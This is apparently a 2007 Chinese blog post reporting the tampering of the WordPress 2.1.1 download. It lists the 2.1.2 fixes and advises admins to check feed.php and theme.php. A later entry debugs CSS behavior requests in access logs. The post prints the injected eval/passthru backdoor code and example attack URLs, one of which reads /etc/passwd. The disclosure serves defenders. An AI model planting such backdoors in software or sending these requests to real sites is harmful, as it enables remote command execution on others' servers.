WordPress官方Blog的文章:《WordPress 2.1.1 dangerous, Upgrade to 2.1.2》。这次急匆匆的发布是因为WordPress网站被攻击了。在三四天前,WordPress网站上WordPress 2.1.1的压缩包被黑客(cracker)修改,有两个文件被加入了一些代码使得WordPress可以执行远程PHP代码。WordPress开发组及时修正了WordPress 2.1.1的压缩包,然后直接发布了WordPress 2.1.2,并且敦促大家尽快升级到WordPress 2.1.2,而且升级的时候最好是上传覆盖所有文件。

这次被影响的只有WordPress网站的WordPress 2.1.1版本的压缩包,所以,比较早时间下载的WordPress 2.1.1不受影响、WordPress其他版本比如2.0.x系列不受影响、从WordPress svn更新的不受影响。不过,鉴于WordPress 2.1.2还是修正了一些bug,所以最好还是更新一下吧。

根据WordPress官方Blog文章的信息,应该是wp-includes/feed.phpwp-includes/theme.php这两个文件被修改了。如果你是网站的管理员,那么应该立刻设置禁止对这两个文件的直接访问。如果你可以拿到网站的访问记录文件的话,可以检查一下是否有直接访问这两个文件的记录,尤其是包含"ix="和"iz="这样的查询。我现在不知道具体改的是什么代码,我的WordPress 2.1.1是发布当天就下载的,在网上通过Google的Blogsearch也查不到具体被修改文件的信息,唉。

WordPress开发组现在做了一些安全措施,保证以后不会再发生此类事件。这次压缩包被修改了三四天才被发现,估计会影响到不少人。不过,在国内还是有很多人喜欢用点点游的中文版,而在国外则高手比较多,直接用svn升级WordPress,再用curl执行升级程序,升个级连浏览器都不用打开。而WordPress的死忠们则大多在WordPress 2.1.1刚发布的时候就更新了,也不会受到影响。总之,在RSS阅读器里订阅WordPress官方Blog的feed,在WordPress新版发布的时候立刻跟进更新,这是非常重要地。

P.S. 看起来国外喜欢用"cracker",只有中国才黑客来黑客去的叫。

WordPress 2.1.2的更新不多,有下面几项:

  1. 修正Ecto通过XMLRPC发布文章时不能Trackback的问题。[4906]
  2. 修正wp_delete_file过滤器不能使用的问题。[4909]
  3. 修正搜索空字符串时返回SQL错误信息的问题。#3722 [4912]
    这个bug可以被黑客利用,如果搜索空字符串可以看到数据库出错信息,如果搜索一个逗号可以搜到所有已发布的文章。
  4. 在“后台->页面管理”页面,按照页面名称顺序进行排序。[4914]
    在WordPress 2.0.x系列里,页面是按照menu order排序的,所以在前台的显示顺序和后台的显示顺序是一样的。
  5. wp-includes/js/tinymce/tiny_mce_config.php文件里添加cache_javascript_headers()函数。[4918]
  6. 给一些SQL查询里的列名前加上表名,以消除二义性。[4923]
  7. 打开TinyMCE里使用Firefox自带拼写检查功能的选项。[4931][4949]
    就是说,如果你用的是Firefox 2.0系列的话,那么在TinyMCE里就可以使用Firefox 2自带的拼写检查功能了。
  8. 修正在单篇文章的评论管理页(http://abc.com/wp-admin/edit.php?p=1&c=1)里无法删除评论和标记垃圾评论的问题。[4936]
  9. AYS的提示信息实体化。[4952]
    这个bug可以造成跨站脚本攻击。具体信息在#3879

WordPress 2.1.2对照WordPress 2.1.1更新的文件:

  • wp-admin/custom-header.php
  • wp-admin/edit.php
  • wp-admin/edit-pages.php
  • wp-includes/js/tinymce/tiny_mce_config.php
  • wp-includes/functions.php
  • wp-includes/query.php
  • wp-includes/script-loader.php
  • wp-includes/version.php
  • xmlrpc.php

要记得检查被篡改的wp-includes/feed.phpwp-includes/theme.php两个文件啊。

2007年4月23日,WordPress 2.2将发布。大限在即,不知道2.1.x系列还能更新多少个版本。

Update:找到了bug报告者Ivan Fratric关于此次事件的 说明页面。被添加进WordPress 2.1.1里的代码是:

wp-includes/feed.php:

function comment_text_phpfilter($filterdata) {
eval($filterdata);
}
...
if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }

wp-includes/theme.php:

function get_theme_mcommand($mcds) {
passthru($mcds);
}
...
if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }

所以攻击者可以通过:

http://wordpressurl/wp-includes/feed.php?ix=phpinfo();
http://wordpressurl/wp-includes/theme.php?iz=cat /etc/passwd

这样的代码来让受攻击的系统执行任意代码。

Ivan Fratric说,他估计文件是在2007年2月25日被修改的,所以从2007年2月25日到2007年3月2日在WordPress网站上下载的WordPress 2.1.1压缩包都会受到影响。

唉,可恶的cracker...

 折叠
发给朋友   转到小组   (打标签) 收藏   推荐  

我用的百优空间没有访问日志,所以我在K2模板的footer.php里加了一段代码,将每次访问的相关信息记录进一个文本文件里。这种方法的缺点是只能记录Blog页面的访问,其他的文件比如图片、js、CSS文件就没办法了。

这两天我的空间经常会提示数据库连接过多,而且垃圾评论也变得狂多。昨天修改了下这个插件,直接屏蔽所有全是英文并包含链接的评论。平常我很少看这个访问日志,只是每个月清理一下,以免影响速度。今天因为空间有问题,就去检查了一下,发现有很多对pngbehavior.htc文件的访问,有根目录下的 /pngbehavior.htc,也有各个月份目录下的/2006/07/pngbehavior.htc,也有page下的 /kfc/pngbehavior.htc。用WinRAR在我的网站备份文件里搜索了一下,发现CoolPlayer插件 CoolPlayer插件的coolplayer.css文件里有"pngbehavior.htc"字样,具体的代码是:

img {
  behavior: url( pngbehavior.htc );
}

我对CSS了解不多,只记得CSS里background里会用到url,一般写成url(abc.png)表示和当前CSS文件同目录下的abc.png文件。而写成 url(/abc.png)则表示网站根目录下的abc.png文件。写了个小html文件做测试,1.html文件里引用"/tmp/t.css"这个CSS文件,并加上一个div标签和一个img标签,img标签的src为"/mm.png",而CSS文件里写上:

img {
  behavior: url( pngbehavior.htc );
}
div{
  background: #FFF6BF url(haha.png) 8px 6px no-repeat;
}